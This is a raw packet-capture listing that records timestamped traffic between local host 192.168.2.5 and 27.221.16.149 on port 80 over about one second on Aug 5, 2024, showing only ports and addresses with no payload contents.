Aug 5, 2024 11:59:24.512672901 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512697935 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512736082 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512747049 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512758017 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512799978 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512834072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512845039 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512854099 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512864113 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512872934 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512876034 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.512897968 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.512927055 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.598102093 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598120928 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598129988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598134995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598145962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598162889 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598174095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598185062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598196030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598207951 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598256111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598268032 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598277092 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.598473072 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.598473072 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.855839014 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.855863094 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.855874062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.855887890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.855899096 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.855932951 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.855962992 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.855967045 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856024981 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856036901 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856045961 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856064081 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856086969 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856098890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856132030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856132030 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856143951 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856168032 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856230974 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856242895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856254101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856272936 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856272936 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856307030 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856323957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856342077 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856369972 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856396914 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856442928 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856468916 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856559992 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856570959 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856601000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856611967 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856615067 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856623888 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856637001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856645107 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856672049 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856712103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856724024 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856734037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856744051 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856762886 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856766939 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856766939 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856774092 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856786966 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856797934 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856807947 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856827974 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856915951 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856928110 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856937885 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856949091 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856960058 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856966019 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856981039 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.856983900 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.856997967 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857007980 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857008934 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857033968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857047081 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857053995 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857057095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857076883 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857095957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857106924 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857115984 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857116938 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857130051 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857141972 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857163906 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857198000 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857244968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857255936 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857265949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857275009 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857284069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857295036 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857301950 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857306957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857321978 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857331038 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857331038 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857357979 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857417107 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857429981 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857439995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857445002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857455015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857464075 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857465982 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857476950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857487917 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857501030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857501984 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857544899 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857548952 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857559919 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857572079 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857615948 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857759953 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857772112 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857780933 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857791901 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857803106 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857810974 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857810974 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857812881 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857825041 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857836962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857847929 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857848883 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857860088 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857872009 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857877016 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857883930 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857896090 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857899904 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857908010 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857918978 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857928991 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857933998 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.857945919 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.857965946 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858047009 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858057976 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858067036 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858078003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858082056 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858091116 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858102083 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858108044 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858112097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858124971 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858135939 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858148098 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858149052 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858149052 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858180046 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858180046 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858194113 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858207941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858218908 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858227015 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858232975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858243942 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858247042 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858273029 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858292103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858303070 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858311892 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858323097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858333111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858341932 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858341932 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858344078 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858356953 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858369112 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858371973 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858392000 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.858443975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858455896 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.858484983 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.910706043 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.946614981 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.946640015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.946650028 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.946661949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.946721077 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.951433897 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.951452971 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.951462984 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.951472998 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.951499939 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.951554060 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.956274986 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.956286907 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.956310034 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.956321001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.956331968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.956366062 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.956367016 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.961093903 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.961107016 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.961182117 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.961730003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.961743116 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.961796045 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.965816021 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.965830088 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.965877056 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:24.966451883 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.966464043 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:24.966617107 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.198808908 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198826075 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198832989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198837996 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198843956 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198848009 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198853970 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198858976 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198863983 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198870897 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198925018 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198930025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198935986 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198951960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198957920 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198962927 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198968887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.198975086 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199033976 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199044943 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199064016 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199074030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199187994 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.199187994 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.199187994 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.199665070 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199712038 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199723005 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199769974 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199774981 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.199781895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199795961 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199807882 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199812889 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.199835062 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.199887037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199897051 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199906111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199915886 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199927092 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.199937105 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.199974060 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.199975014 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200201988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200212002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200222015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200232029 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200248003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200258970 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200258017 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200272083 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200284958 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200306892 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200371027 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200382948 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200392962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200402975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200414896 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200424910 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200423956 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200445890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200457096 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200457096 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200457096 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200469971 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200488091 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200504065 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200505018 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200516939 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200526953 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200529099 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200545073 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200555086 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200560093 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200567007 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200578928 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200589895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200596094 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200603008 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200613976 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200618029 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200639963 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200649023 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200659990 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200670958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200680971 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200690031 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200691938 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200702906 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200714111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200722933 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200726986 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200740099 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200746059 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200746059 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200788021 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200795889 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200798988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200809002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200825930 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200838089 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200848103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200853109 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200860023 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200870037 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200870991 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200881958 CEST	80	49734	27.221.16.149	192.168.2.5
